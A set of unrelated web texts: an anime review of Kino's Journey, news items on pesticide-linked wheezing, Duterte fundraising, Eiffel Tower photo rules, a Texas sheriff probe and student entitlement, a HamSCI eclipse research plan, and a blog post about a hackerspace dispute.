cartoony character designs evoked a kind of retro feel, and they even added a CRT scanline filter on top of everything, like you were constantly reminded that you were watching a TV show, that it was fiction. As a framing device, it helped further separate the audience from the anime and reinforced the fantastical, fable-like nature of the stories.  Which is a lot of words to say that I really really love the old anime  Yeah I liked everything but that LCD filter. Don't miss that. Like, digipaint struggles to upscale to modern TVs as it is. YOU ARE NOT HELPING, SCANLINE FILTER.  Definitely an odd choice, but it's charming!  Well, for anyone intimidated by old KJ's artsy-fartsy look, new KJ is here to anime things up for you. Which is fine, these stories are solid, simple conversation-starters that can and should speak to a wider audience, and anime funding and marketing has changed immensely since 2003 in terms of what you can make and how it has to sell. So I get it, though I do miss the old aesthetic.  Yeah, the new anime basically just looks like...an anime. Awkward CG vehicles and all.  Not to say that it looks bad, because there are some very nice shots!  It's just overall not as inspired as Nakamura's version.  Yeah, I don't want to harp on the new style too much because THINGS CHANGE JACOB, and it's not even my primary issue with the new series so far. Nope, turns out I have bigger problems that I wasn't expecting!  Yeahhhhhh unfortunately the anime kinda shot itself in the foot (with a Persuader) by choosing to re-adapt one of the most memorable stories from the old anime in its SECOND episode. So before it even got a chance to establish itself as its own thing, it's already begging comparisons with the old show, and, in my estimation at least, it doesn't have the chops to win this battle yet.  So I have a theory about this, because right before the Coliseum episode (which worked waaaaaaay better a two-parter in the first series for reasons I'm sure we'll get into), the remake's first episode also adapted a story that happened to be very violence-centric. Now for anyone unfamiliar with KJ, I swear Kino does not solve all their problems by shooting at them. In fact, it's supposed to be a big deal when the gun comes out because they try to be as passive and uninvolved as possible in their travels unless their life is endangered.  Kino would much rather stop and enjoy the flowers, metaphorically and literally.  otaku with this story's more common non-gun-centric arguments about societal politics and shit. Definitely! But the first two episodes of this remake have played up the "journey of danger and survival and lookit mah cool guns" thing pretty hard, and I wonder if it's because they don't think the show will grabwith this story's more common non-gun-centric arguments about societal politics and shit.  Our first scene with new Kino is this  It's a good monologue, but they literally jump straight to "I'm gonna keep traveling even if I have to kill people," which is an odd thing to emphasize in terms of sacrifices, certainly not a focal point of the original series.  It sets a worrying precedent, because while some of Kino's stories are indeed dangerous or tragic, a lot of them are also whimsical and amusing. Like these guys!  Yeah, with the new series, I'm already worrying about those kitty ears gettin' blown off by a crossbow.  He used to be a traveler like Kino, but then he took an arrow to the--  [GIANT HOOK CREEPS IN FROM ACROSS THE ROOM]  Part of what I love about Kino's Journey is that it runs the gamut of the human condition, all of its sadness and cruelty and absurdity and, ultimately, beauty. So I hope the new anime doesn't just focus on the cruelty. Kino is many things, but an action hero they are not.  If your motto's "The world is not beautiful, therefore it is," I'm gonna need a lil more o' dat "therefore it is". But it's only two episodes in, so there's still plenty of hope!  True! And this new version does seem to be focusing more on Kino as a character, which is a slightly different direction from the old anime that could be neat to explore.  Right, that's what I was thinking! Anthology format aside, many people's favorite episodes of KJ are the ones that crack Kino's passive, gentle-smile facade and get at what drives them to keep going on this destination-less path, even when they're offered a place to belong now and again. Sometimes this can be cute, as in Kino's rejection of their taller and rugged-er doppelganger Shizu, but sometimes it can be uh  devastating  So with the remake opening once again on a monologue that (weird preoccupation with killing aside) openly questions Kino's motives for traveling, I'm hoping that facade will be cracked a little further.  THE FIRST STEP TO RECOVERY IS ADMITTING THAT YOU HAVE A PROBLEM KINO  I am also on board for more sick motorrad stunts  Poor Hermes.  it's not easy being a talking motorcycle  What's better tho, a talking motorcycle or a talking dog?  DOG IS VERY GOOD  "Get in loser, we're going on a journey."  I wonder if there's a country full of talking dogs. Kino should go there. They need a break.  Yeah, anything's better than that damn Coliseum. We should probably address that elephant, since it seems to be the one big thorn in what's otherwise been a promising remake.  Yeah, the new Coliseum arc adaptation fails on multiple levels. By compressing the story into one episode, it not only feels rushed, it misses out on a lot of the nuance and thoughtfulness of the old two-parter. It plays out so poorly that Kino comes across as cruel, rather than conflicted. The old anime also had five prior episodes to get to know their character before this heavy dilemma.  Look, Kino has always been pretty unflappable.  But they're not reckless, and when you adapt one of the most worldbuilding-heavy stories in a not-worldbuilding-heavy series in a reckless way, that unflappability might accidentally make them come off as a monster. The gist is that Kino accidentally falls into a country that pits hapless passers-by against one another in a deathmatch for citizenship. You know, as one does. But this version of the story cuts out the existence of the underclass, people who aren't at peace with this system but have no other place to live, so it's unclear what would drive Kino to get involved beyond bitterness at being used as a pawn for another traveler's confusing attempt at vengeance, which isn't really enough.  Without the two-episode time to explore all Kino's thoughts before they make their plan to take down this system (as in the 03 series), about the best we get is  This quickly culminates in Kino's clever plan to murder the murderbowl itself by first killing the king and then declaring that Everyone Should Fight to the Death for the right to replace him.  And boy do those folks not waste any time getting straight to the murder! As...one...does?  I can't stress this enough, the Coliseum arc is a BIG DEAL because it's the first time Kino actually interferes with a country. Doing so goes against their entire philosophy of avoiding any attachments to the countries they visit, and the decision to kill the king doesn't come lightly. It comes after Kino sees the unfairness of the caste system, the abject cruelty of the king, and the determination of the exiled prince. In a way, killing the king is a kindness that prevents the prince from falling into an endless cycle of familial bloodshed. THAT is what gets communicated in the 2003 version. In the remake, we don't even learn why Kino was pissed off at all until after they tell everyone to start punching each other to death.  Right, the jump from inception to conclusion is the most Boy That Escalated Quickly thing and I just  you said it, dog  There were also two Extremely Important details left out of Kino's decree from not just the first anime (which did admittedly expand on the book's story) but the original novel itself:  A) The new murderbowl is limited to first-class citizens, i.e. people who won and/or benefited from this awful system in the first place. Slum denizens are not only exempt, but protected from this violence by the decree. If you harm any of them, you're disqualified.  B) The killing doesn't just start two seconds after Kino says "here's my idea fellas!" There's a window of time where anyone who doesn't like the idea can skip town. Kino's decree first prompts an understandable level of confusion, not a mad rush for the long knives.  It also makes Kino's earlier remark (in both versions) that they made it to the finals without killing anyone pretty moot for obvious reasons. YOU SURE MADE UP FOR LOST GROUND IN THE ELEVENTH HOUR, HUN.  I can understand the argument that maybe the country is different in this version, and that maybe everyone who lives there is a jerk, but that's also not as compelling a story. Kino's Journey can be very, very blunt in its messages sometimes, but this seems just mean-spirited.  With any luck, this just means we're hitting this adaptation's low point early and the series will start improving in its choices afterwards.  I liked the first episode quite a bit! So I am also hopeful that the new stories will bring more of that good philosophical flavor that I love.  Also more good food for Kino to enjoy. They deserve it.  Totally. The stories chosen for this remake were selected via popularity poll, so with any luck we'll get some doozies while (hopefully) avoiding the pitfalls of Coliseum.  And apparently we're also getting more Shizu, which means more PUPPY~  Excuse me, I have to go. My Uber driver is here.  ADVENTURE HO!
-New research on farmers' exposure to pesticides links several of the most commonly used chemicals to both allergic and non-allergic wheezing, report researchers at North Carolina State University. Photo by Toa55/Shutterstock  RALEIGH, N.C., Aug. 3 (UPI) -- Pesticides and herbicides are designed to kill insects and invasive plants, though evidence the chemicals also have a negative effect on health is growing.  Several of the chemicals most commonly used on farms were linked to allergic and non-allergic wheezing in a large study of farmers, with researchers at North Carolina State University warning in a new study that the threat to health is moving beyond farmers as they are increasingly used in residential areas.  Pesticides and herbicides have been linked to diseases such as ALS and several kinds of cancer, though the studies have been controversial and contradicted each other in many cases.  A report from the World Health Organization called one of the most widely used chemicals -- glyphosate, the active chemical in the weed killer Roundup -- carcinogenic, and the state of California officially listed the herbicide as carcinogenic last year.  Months later, however, European researchers released a report claiming a review of more than 100 studies found the link between glyphosate and cancer was "weak," and a United Nations report earlier this year even found levels of exposure to the chemical on food were "unlikely" to cause cancer.  Researchers involved with the new study looked at other effects of exposure to pest control chemicals, linking several to wheezing conditions in farmers who use them.  "This is the most comprehensive list of pesticides in relation to wheeze that has been evaluated to date," Jane Hoppin, an epidemiologist at North Carolina State University, said in a press release.  For the study, published in the journal Environmental Health Perspectives, researchers reviewed the effects on allergic and non-allergic wheezing among 22,134 farmers from 78 pesticides using interview data from the Agricultural Health Study collected between 2005 and 2010.  Among the farmers, 6 percent had been diagnosed with allergic wheeze or hay fever, while 18 percent had non-allergic wheezing defined as wheezing without a diagnosis of hay fever.  Of the 78 pesticides considered in the study -- 45 herbicides and plant growth regulators, 25 insecticides, six fungicides, one fumigant and one rodenticide -- 19 were significantly linked to allergic wheeze, 21 to non-allergic wheeze and 11 linked to both.  RELATED Women exposed to DDT in utero more likely to get breast cancer  The chemicals most significantly linked to wheezing as a response to exposure were the herbicides 2,4-D and glyphosate, the insecticides permethrin and carbaryl and the rodenticide warfarin.  "Fifty-one of the pesticides we tested in this study had never been analyzed in terms of their effects on respiratory outcomes," Hoppin said. "And some of them, like glyphosate, 2,4-D and permethrin, aren't just used on farms. They're used residentially now to kill weeds or treat fleas on pets. We believe it's important information that will help people make decisions about pesticides."
-DAVAO CITY, Philippines—There are few and far between times when tough-talking Mayor Rodrigo Duterte would just shut up. An encounter with officials in Cotabato City on Wednesday was one of those times. He was virtually speechless.  Duterte was preparing to leave the stage after speaking about “federalism” before hundreds of local leaders and residents of Cotabato on Wednesday when lawyer Ranibai Dilangalen took the microphone and asked the mayor to stay for a while.  ADVERTISEMENT  Dilangalen, a member of the Duterte for President Movement-Cotabato City and Maguindanao chapter, then announced: “Mayor President, we will officially start today our small effort to help you and the country. We will launch the ‘Piso para sa Presidente’ (Peso for President).”  Then, Mohamad Ali Datumanguda, another member of the group, presented Duterte a small handwoven basket filled with P1 coins.  For a moment, Duterte froze, his face red and tears welling in his eyes.  After staring at the crowd, he approached the podium and said: “I don’t know what to say. I am really, really surprised. Thank you for having me here. The presidency is not in my plans, but if I become President, I assure you, one of your feet is in Malacañang.”  Target: P10 billion  Duterte has repeatedly said that he is not running because he does not have the financial capability to run a presidential campaign.  Launching the “Piso para sa Presidente” campaign, Datumanguda said his group would start passing the “bayong” (native bags) in Moro communities to gather P1 donations from the villagers and hopefully collect P10 billion he said would be needed—initially, at least—for the presidential campaign expenses.  An old man who joined the crowd at the gymnasium of Cotabato Polytechnic State University took out coins from his pocket and counted P8.  “My fare back home is P7. I can still contribute P1 for Duterte,” the old man said.  ADVERTISEMENT  From Mindanao to Manila  Datumanguda said the basket, which contained a little over P100 in coins, was “just a symbol” of what they would do to raise funds for Duterte’s campaign.  “Piso para sa Presidente will move from Cotabato City to Sultan Kudarat, Maguindanao, Basilan, Sulu and Tawi-Tawi. It will then be moved to the Visayas, Luzon and Metro Manila, in the hope that we can raise funds for Mayor Duterte,” Datumanguda said.  Duterte’s camp said it did not know about such a project.  Nur Misuari  During the symposium, Duterte said that he was not against the proposed Bangsamoro Basic Law (BBL), contrary to what other people were thinking, after he issued statements warning the administration of President Aquino not to railroad the legislation that would create the new political entity.  “I am for the BBL, but we need to scrutinize some provisions because I do not want you to be frustrated,” Duterte said.  The mayor said he was communicating with Moro National Liberation Front (MNLF) founding leader Nur Misuari and that Misuari should be considered in the peace process because he was instrumental in the signing of the Tripoli Agreement, which led to the establishment of a Muslim autonomy region in Mindanao.  “Misuari should see the draft,” Duterte said, adding no one should be left behind in the peace process, including the sultanates.  The mayor is pushing for a shift to federalism in the government structure, asserting that the people of Mindanao should be given a chance to decide their future.  RELATED STORIES  Duterte calls presidency a ‘destiny’ after meeting with Roxas  Duterte warns Aquino on rushing BBL  Read Next  LATEST STORIES  MOST READ
-Experiment Summary Scientific Questions How much of the ionosphere is affected by a solar eclipse?  For how long is the ionosphere affected by a solar eclipse?  What causes these spatial and temporal scales? Methodology Illuminate the ionosphere with an Eclipse QSO Party.  Use networks such as the Reverse Beacon Network to collect data.  Use amateur radio data to complement data from other sources.  Introduction  On 21 August 2017, a total solar eclipse will cause the shadow of the moon to traverse the United States from Oregon to South Carolina in just over 90 minutes. As shown in Figure 1, this will be the one of most significant solar eclipses traversing the continental United States for 100 years. While solar eclipses are perhaps best known for their stunning visual display, the shadow of an eclipse also causes changes to the ionosphere which effect radio wave propagation and are useful for the study of ionospheric physics. For a summary of ionspheric radio effects as measured during the 1999 United Kingdom Total Solar Eclipse, please see Bamford 2000.  Although the ionospheric effects of solar eclipses have been studied for over 50 years, many unanswered questions remain. Some include, “How much of the ionosphere is affected by the solar eclipse, and for how long? Why is this the case?” HamSCI is inviting amateur radio operators to participate in a large-scale experiment which will characterize the ionospheric response to the 21 August 2017 total solar eclipse and target these open questions in ionospheric physics.  Figure 1: Total solar eclipses visible in the US from 1950 to 2052. The 2017 eclipse (red triangles) will have an exceptionally long footprint in the heart of the continental US.  Background  The ionosphere is produced when solar ultra violet (UV) and x-ray radiation cause neutral atoms and molecules in the Earth’s atmosphere to be stripped of negative electrons. This creates a type of gas known as a plasma, which is made of both positively and negatively charged particles. After a certain amount of time, some of these particles recombine to form neutrals again. When solar radiation is present, ionospheric production and loss processes occur simultaneously creating a strong ionosphere. When solar radiation is absent, loss processes dominate and the ionosphere becomes weaker. These effects are most commonly observed as a result of the day-night (diurnal) cycle. Figure 2 shows examples of typical day and night ionospheric profiles generated using the International Reference Ionosphere (IRI) empirical model [Bilitza et al., 2011].  Figure 2: Typical day (red) and night (blue) ionospheric profiles.  In some ways, the shadow of a solar eclipse is similar to the darkness of night. However, there are significant differences between solar eclipses and typical day-night variations. For instance, an eclipse shadow moves faster than and in the opposite direction of the dusk or dawn terminators. Additionally, an eclipse shadow is relatively localized compared to night. Because the ionosphere does not respond instantaneously to changes in solar inputs, and several processes in addition to simple ion production and recombination are at play, it is not possible to assume that the ionosphere will respond to an eclipse in the same manner as dusk or dawn.  Previous solar eclipse studies have found that ionospheric densities at lower altitudes (D and E regions, 60 – 150 km altitude) deplete rather quickly. Conflicting results have been reported for the F region (150 – 600 km altitude), which is a region that is more effected by plasma transport processes than photoionization. Typically, it has been reported that these conditions allow for better radio wave propagation at lower frequencies (< 10 MHz) during the eclipse, as D and E region absorption disappears during this time.  Scientific Merit  Important open questions refer to the spatial and temporal scales of eclipse ionospheric effects. Eclipse totality affects only a narrow region of the Earth’s atmosphere (on the order of a few hundred kilometers) for time periods of less than ten minutes. However, previous observations suggest that ionospheric effects are much larger and longer than might be expected. Figure 3 and Figure 4 illustrate this. Figure 3 shows the F2 region peak critical frequency (f o F 2 ) over Chilton, England during a total solar eclipse on 11 August 1999. The green line shows measurements made with an ionosonde [Afraimovich et al., 2002], while the blue line shows the expected (non-eclipsed) values generated by the IRI. The measured values depart from the expected values from 0800 to 1200 local time, much longer than the less than 10 minutes of totality.  Figure 3: Effect of the August 11, 1999 eclipse on f o F 2 . The decrease in the observed f o F 2 (green) from the IRI model (blue) over a long period coincides with partial obscuration of the solar disk.  Similarly, Figure 4 shows 130.4 nm UV airglow data measured by the Special Sensor Ultraviolet Spectrographic Imager (SSUSI) satellite instrument on days before (left), during (middle), and after (right) a total solar eclipse over Africa on 29 March 2006. The middle panel shows a blue line indicating the totality path, as well as a large region (~3300 km diameter) of depleted airglow that roughly corresponds with the region of partial eclipse shadow. Recent studies, such as [Choudhary et al., 2011], suggest that complex plasma processes may cause larger spatial regions of the ionosphere to be affected than would be predicted by simple photochemistry.  Figure 4: Special Sensor Ultraviolet Spectrographic Imager (SSUSI) airglow data showing a large depleted airglow region associated with a total eclipse in 2006. The three panels show data from days before, during, and after the eclipse at roughly the same location and local time.  Although the ionospheric effects of total solar eclipses have been studied for over 50 years, these questions regarding the spatial and temporal scales of eclipse effects have not been adequately answered. There are a number of reasons for this. First, eclipses are relatively rare events which do not frequently traverse geographic areas which are well instrumented for ionospheric studies. Next, technological advances have made it only recently possible to monitor the ionosphere over very large geographic areas with both high temporal and spatial resolution. Finally, the ionospheric response to an eclipse is dependent on season, time of day, and location on Earth (due to differences in the shape and orientation of the Earth’s magnetic field at different locations). This makes every eclipse uniquely valuable for scientific study. The 21 August 2017 eclipse will take place over a large geographic region which is well instrumented for studying ionospheric effects, and therefore presents an excellent opportunity for characterizing the spatial and temporal aspects of the ionospheric response.  Amateur Radio as a Scientific Instrument  Amateur radio operators routinely use frequencies spread across the medium and high frequency bands (1.8 – 30 MHz) to engage in two-way communications across large geographic areas. Details of these communications are recorded in private logs, as well as a public computer network known as the DX Cluster. Recent advances in information technology, signal processing, and software defined radio (SDR) have led to the development of automated observation and reporting systems such as the Reverse Beacon Network (RBN). It has been shown that data from these systems can be used to identify and characterize large-scale ionospheric disturbances [Frissell et al., 2014].  Figure 5 and Figure 6 illustrate diurnal propagation effects observed by the RBN. Figure 5 shows a 5 min interval when both the United States and Europe are in darkness, while Figure 6 shows a 5 min interval when both continents are in daylight. RBN traffic is indicated by lines color-coded by frequency. Black dots indicate RBN receiving stations. Colored dots represent GPS-TEC measurements, which are discussed in the next section. The RBN data shown in these figures characterizes what is typically expected of day and night HF propagation and ionospheric conditions. That is, nighttime conditions (Figure 5) are dominated by communications on frequencies less than 10 MHz, indicating a weaker ionosphere which reflects lower frequencies but cannot refract higher frequencies. Daytime conditions (Figure 6) are dominated by communications on frequencies greater than 10 MHz, indicating a stronger ionosphere which refracts higher frequencies but absorbs lower ones.  Figure 5: RBN Network Traffic between the US and Europe during nighttime conditions. Note that the green links represent low frequencies, because absorption is minimal in nighttime conditions.  Figure 6: Same format as Figure 5, but for daylight conditions. Note that the red and orange links correspond to higher frequencies, which are less effected by D and E region absorption.  Using this and other similar techniques, HamSCI will use amateur radio data to characterize the spatial and temporal response of the ionosphere to the 21 August 2017 total solar eclipse. It has been recognized that the use of amateur radio signals presents certain challenges for scientific analysis. Some of these challenges include the tendency of operators to transmit only on frequencies which provide the best communication links, a possible lack of amateur radio operations during the period around the eclipse, and an uncertainty as to what equipment (e.g., antenna pattern, transmit power level) is in use. HamSCI intends to mitigate these factors by partnering with the American Radio Relay League (ARRL) to sponsor an Eclipse QSO Party, or contest-style operating event which takes places during the eclipse. The rules of this operating event will be written in such a way to help optimize the experiment. The Radio Society of Great Britain (RSGB) sponsored a similar event during the 20 March 2015 solar eclipse in Europe. Additionally, the operators of the Reverse Beacon Network have joined the HamSCI organization and are working to make improvements to the scientific capabilities of the network.  Additional Ionospheric Instrumentation  In addition to amateur radio observations, many additional, well-established space physics instruments will be used to monitor ionospheric conditions during the 21 August 2017 total solar eclipse. These include measurements by the Super Dual Auroral Radar Network (SuperDARN), Global Positioning System Total Electron Content (GPS-TEC) receivers, ionosondes, and more. Each of these instrument networks sense the ionosphere in a different way and in different locations. Combining the data from these networks together will allow for the most complete characterization of the ionospheric response to the eclipse as possible.  As an example of how this additional data will be used, Figure 5 and Figure 6 show GPS Total Electron Content (GPS-TEC) data beneath the Reverse Beacon Network propagation paths. TEC is a measure of the total number of electrons in the ionosphere on a path between a GPS satellite in space and a GPS receiver on the ground. The speed of a radio signal through the ionosphere is directly related to both the frequency of operation and the density of the ionospheric plasma it travels through. Because certain GPS receivers receive two separate GPS frequencies simultaneously, it is possible to determine the delay between the received signals and estimate the total number of electrons in a column along the propagation path [Rideout and Coster, 2006]. Each TEC Unit (TECU) is equal to 1016 m-2 electrons. Figure 5 and Figure 6 show that, as expected, TEC is high in daytime regions, but low in the night. It is worth noting that due to ground-based receiver requirements, GPS-TEC measurements are only available over and near certain landmasses. There is no coverage over the oceans, and somewhat limited coverage in the middle of the United States. Amateur radio data has the potential to provide information about the ionosphere in places where GPS-TEC data is not available.  Summary  On 21 August 2017, a total solar eclipse will traverse the continental United States from Oregon to South Carolina in a period of just over 90 minutes. Previous research shows that the shadow of the eclipse will impact the ionospheric state, but has not adequately characterized or explained the temporal and spatial extent of the resulting ionospheric effects. HamSCI is inviting the amateur radio community to contribute to a large scale experiment by participating in an Eclipse QSO party and further developing automatic observation networks such as the Reverse Beacon Network. Data resulting from these activities will be combined with observations from existing ionospheric monitoring networks in an effort to characterize and understand the ionospheric temporal and spatial effects caused by a total solar eclipse.  References  Afraimovich, E. L., E. A. Kosogorov, and O. S. Lesyuta (2002), Effects of the August 11, 1999 total solar eclipse as deduced from total electron content measurements at the GPS network, J. Atmos. Solar-Terrestrial Phys., 64(18), 1933–1941, doi:10.1016/S1364-6826(02)00221-3.  Bamford, R. (2000), Solar Eclipse 11 August 1999: Project Final Report, Radio Communication Research Unit, Rutherford Appleton Laboratory, arXiv:1703.01491.  Bilitza, D., L.-A. McKinnell, B. Reinisch, and T. Fuller-Rowell (2011), The international reference ionosphere today and in the future, J. Geod., 85(12), 909–920, doi:10.1007/s00190-010-0427-x.  Choudhary, R. K., J.-P. St. -Maurice, K. M. Ambili, S. Sunda, and B. M. Pathan (2011), The impact of the January 15, 2010, annular solar eclipse on the equatorial and low latitude ionospheric densities, J. Geophys. Res. Sp. Phys., 116(A9), A09309, doi:10.1029/2011JA016504.  Frissell, N. A., E. S. Miller, S. R. Kaeppler, F. Ceglia, D. Pascoe, N. Sinanis, P. Smith, R. Williams, and A. Shovkoplyas (2014), Ionospheric sounding using real-time amateur radio reporting networks, Sp. Weather, 12(12), 651–656, doi:10.1002/2014SW001132.  Rideout, W., and A. Coster (2006), Automated GPS processing for global total electron content data, GPS Solut., 10(3), 219–228, doi:10.1007/s10291-006-0029-5.
-You might want to stick to taking pictures of the Eiffel Tower in the daytime (Picture: Getty Images)  Not many people know this, but taking pictures of the iconic Eiffel Tower at night is illegal, and punishable by a massive fine.  The ban has been in place for a while now, but as France becomes more aggressive in its crack down on photo sharing, MEPs are joining forces in a bid to finally lift it.  What does the ban mean?  EU law allows members the choice to demand permission before people can share or sell photos of historic buildings protected by copyright.  Most countries abide by something called ‘freedom of panorama’. This allows people to take photographs and video footage of buildings, and other art works, that are permanently located in a public place.  But there are countries where the freedom is limited, like France, Italy and Denmark, reports Politico.  Advertisement  Advertisement  Online freedom advocates across the EU have called its failure to secure panorama across the board as an example of ‘Europe at its worst’ and is demanding change.  EU copyright law allows state members to impose restrictions on certain monuments (Picture: Getty Images)  How do I get around this?  Technically taking the picture is also illegal, but it’s the sharing part that will land you in hot water.  If you want to publish the image to social media you must gain permission from the ‘Société d’Exploitation de la Tour Eiffel’ (the Eiffel Tower’s operating company).  Julia Reda, a German MEP from the Pirate Party, told Politico: ‘The European Commission is afraid to pick a fight with the French government.  ‘The French government has been quite clever and are telling the Commission that they’ve done something, so drop the issue.’  Are there other iconic buildings protected by copyright law? Yes – other landmarks include Copenhagen’s Little Mermaid Statue, the Louvre’s pyramid in Paris and the European Parliament in Strasbourg. Even the 2,000-year-old Colosseum in Rome has certain limitations.  Is there any hope of changing this?  The EU held a public consultation asking people for their opinions – but despite the European Commission promising to publish the results in July, they’re yet to be seen.  The Wikimedia Foundation, MEPs and other parties in Europe are currently fighting to lift the restrictions and impose freedom of panorama everywhere.  MORE: Police recover £2.2m worth of jewels stolen from Drake’s tour bus  MORE: #Grammerschools is trending on Twitter and the irony is beautiful
-Sheriff Arvin West is the law in Texas’ Hudspeth County. It certainly seems that way to unsuspecting travelers along his county’s stretch of I-10. He’s known for accusing the Mexican army of invading the border, ragging on the federal government on border security policies and busting more than a few entertainers for carrying pot (Willie Nelson, Nelly, Fiona Apple and Snoop Dogg are on the list).  West, now tied to a three-year-long federal investigation, isn’t talking. But a Washington Post report reveals he may be involved in setting up a rogue Navy training based in West Texas.  Craig Whitlock, reporter at the Washington Post, says West has yet to be charged and many of the details in the federal investigation are far from clear.  “What exactly they were up to is kind of a big mystery,” Whitlock says, “but it sounds like they went down there to work for him and try and set up some kind of training base in the county.”  Related to West’s case is a scheme involving AK-47 silencers. The former director of the Navy intelligence office at the Pentagon, civilian David W. Landersman, allegedly help equip Navy commandos with untraceable silencers. He’s now facing federal conspiracy charges. Two of Landersman’s subordinates have said that other than working on intelligence matters, they moonlighted as deputy sheriffs under West. Although there is nothing illegal about working as deputy sheriffs, Whitlock says, the context surrounding the work – what the Navy intelligence was up to – is questionable.  “The reason they first came under investigation is that the civilians in this office were caught making some kind of dodgy law enforcement badges that would enable them to carry weapons around,” Whitlock says. “And NCIS … did a search warrant on their office at the Pentagon. But as part of that investigation, they found that this small group of civilians at the Pentagon were involved in some kind of secret weapons program.”  Allegedly, the intelligence officers were setting up a type of training camp at Circle Ranch in west Texas, but not much more than that is known. There is speculation, however, that the case might have something to do with counter-narcotics – drug investigations or training people along the border how to look out for Mexican drug gangs. But Whitlock says no one knows for sure.  “A lot of the documentation in the federal investigation has been sealed on national security grounds,” Whitlock says. “This case has been going on in federal courts and a lot of times they have to have sessions in private or they say everything is classified.”  Post by Beth Cortez-Neavel.
-More than 8,000 academics are gathered at Brock University in St. Catharines, Ont., this week for the annual Congress of the Humanities and Social Sciences, presenting papers on how we live, love, learn and clash. Over the coming days, the National Post will highlight some of the most compelling research. Today, Sarah Boesveld looks at how entitled university students could grow to become entitled — and very unhappy — employees.  University students who complain until they get a better grade and view their professors as employees are on the fast track to becoming dissatisfied and disgruntled once they land a job, suggests new research that links academic entitlement with inflated expectations in the workplace.  Amy Peirone, a phD candidate in sociology who this week will present her research at the Congress of the Social Sciences and Humanities conference in St. Catharines, Ont., surveyed more than 1,000 University of Windsor students, resulting in a research paper called “I Bought my Degree, Now I Want My Job!”  Ms. Peirone had the students answer a 94-item online survey about their own academic experiences, which asked them to agree or disagree with statements such as “It’s OK to make demands on a professor so he makes exceptions for me,” or “the tuition I pay entitles me to a passing grade.”  The tuition I pay entitles me to a passing grade  She found a correlation between students displaying a sense of academic entitlement and those who displayed a sense of entitlement when it comes to their future employment expectations, suggesting the attitude could carry over into the working world.  While the average level of academic entitlement was relatively low — 3.3 on a scale of one to 10 — Ms. Peirone found that graduate students tended to have higher levels of entitlement than undergraduates.  “Some professors we were talking [with] about academic entitlements said parents of graduate students have come to talk to them and complain about their grades,” said Ms. Peirone.  “When you’re in school, you’re sort of in a bubble. You don’t really know what the real world is like. If you’re completely cut off from that, your entitlement beliefs and what you’re used to, it’s not a far stretch in saying it would extend to the employee environment.”  Academic entitlement research is a relatively new field, and no one has studied how it may transfer from university to the workplace until now.  Previous studies show high levels of workplace entitlement are related to lower levels of job and life satisfaction. The entitled-in-the-workplace also tend to be less happy with their pay, less committed to their companies, have more tension with their bosses and more difficulty holding down jobs.  There may be very serious problems for a person with higher than average academic entitlement once they make it to the office — if they get there at all, Ms. Peirone’s findings suggest.  Those who researched and explored future careers tended to have higher levels of workplace entitlement — especially graduate students.  “A lot of graduate students, in my own personal [observations], are coming back for the graduate programs just because they couldn’t get the job with the undergraduate degree,” Ms. Peirone said. “Now we’re not looking at $25,000 worth of debt, you’re looking at 50 plus.” Universities also market their graduate programs as stepping stones to a solid career.  Education and Law students were the exception to this rule, perhaps because they have more exposure to the realities of the job market via co-ops and connections outside of school.  Overall, students have high expectations that their university degrees will amount to a job fairly soon after graduation — expectations that may not jibe with the job market.  When you’re in school, you’re sort of in a bubble. You don’t really know what the real world is like  Arts & Social Sciences students, a faculty with some of the toughest prospects out in the current workforce, made up 47.2% of her study sample.  To the statement “obtaining a post secondary degree ensures I will have a job in my field of study after graduation,” the average response was 4.57 out of 10 — meaning about half of the students strongly felt their degree would fairly easily score them work.  Ms. Peirone believes universities and even future employers should do a better job of conveying the realities of the job market. She recalls one professor telling her a graduate student’s expected pay grade for a job out of school: $80,000.  “That student had no experience,” she said.  Meanwhile, that professor had worked for a decade before making that kind of money.  National Post  • Email: sboesveld@nationalpost.com | Twitter: sarahboesveld
-The seed for SYNHAK was planted on April 5th, 2011 at Noisebridge during Camp KDE. At the time, I was a KDE developer who was starting to get involved by contributing to Phonon-GStreamer. This was my first FOSS event and first big adventure by myself. Moreso, I was traveling across the country to a city that hadn’t even crossed my mind as all that important to me. Hey, I was young, yeah?  The last day of Camp KDE was a brief after-party at the Noisebridge Hacker Space in San Francisco. I had heard about hackerspaces before, but only vaguely. I knew that strange things came out of them and interesting projects happened there. I was too absorbed in schooling and KDE to pay attention outside my bubble.  After just a few minutes, I was sold on the idea. The tools, the art, the community, the vibe. This was something I wanted in Akron, but I wasn’t sure if it was possible.  Months later, I had been discussing the subject with my friend Ryan. At some point he said:   Go for it.  And that I did.  Around that time, I had been ejected from the Computer Science department at the University of Akron, the details of which can be another story entirely. Looking for socialization, I wandered into the shack on top of Zook Hall where W8UPD — The University of Akron HAM Radio Club — lived. There I met Chris Egeland. He later became one of our first Champions at SYNHAK, alongside myself and Omar Rassi.  It is now Tuesday, July 1st, 2014.  I have been banned from my own hackerspace for just over two months now. Last week I was harassed by the board of SYNHAK who insists that I am capble of single-handedly ruining their image, asking me to stop the “unjustified and unwarranted” attacks I’m apparently making on twitter. In the two months since being banned, the only thing I’ve done is share a handful of e-mails from the publically available discuss@synhak.org mailing list. Here’s an excerpt:  From: Andrew Buczko   To: SH Members   Mar 11  I'd like to resolve this issue by having Torie (Trevor Fisher) put on suspension from SynHak (this will include SynHak's mailing lists and any other service) for a giving amount of time.  I feel that she needs time to cool off for 3 months, 6 months a year? I'll leave the time period up to the champions. Or at least until her sex change is done (since it has been brought up to me that this "behavior" of her's is due to her taking hormones. ) <-- not mentioned before since it's none of my business.  Hormones or not, the other members and the community should not have to suffer because of her antics.  I am a proud transgender woman. Been that way for as long as I can remember. This Andy Buczko is on the board of SYNHAK, the former Akron hackerspace. Since early January 2014, he has harassed me, picked fights with me, and generally bummed all the other synhakkers out.  I really wish I could include more examples of his incredibly abusive behavior, but that wouldn’t even scratch the surface. Nor is he alone.  Many former synhakkers attempted to resolve our differences by working to create a Community Working Group within the space, modeled after KDE’s own. No less than five members stepped up to get folks involved in fixing these issues. At every turn, they were rebuffed by the board of SYNHAK under the guise of it being a “trap” to remove the board.  They were mostly right. The purpose of the Community Working Group was to make sure toxic members of the community were kept out and the culture of SYNHAK was preserved.  Anna-Janine Herman, Justin Herman, Steve Radonich, Devin Wolfe, and Becca Salchak fought admirably to take the idea of SYNHAK and twist it into the next bullet point on their resume. For three years, we ran under the triumvirate of Consensus, Excellence, and Do-Ocracy. In three years, SYNHAK went from a small group of four hackers in a North Hill garage into a huge community in northeast ohio with 25 members, a $15,000 grant, and 4,030sqft of space in Downtown Akron.
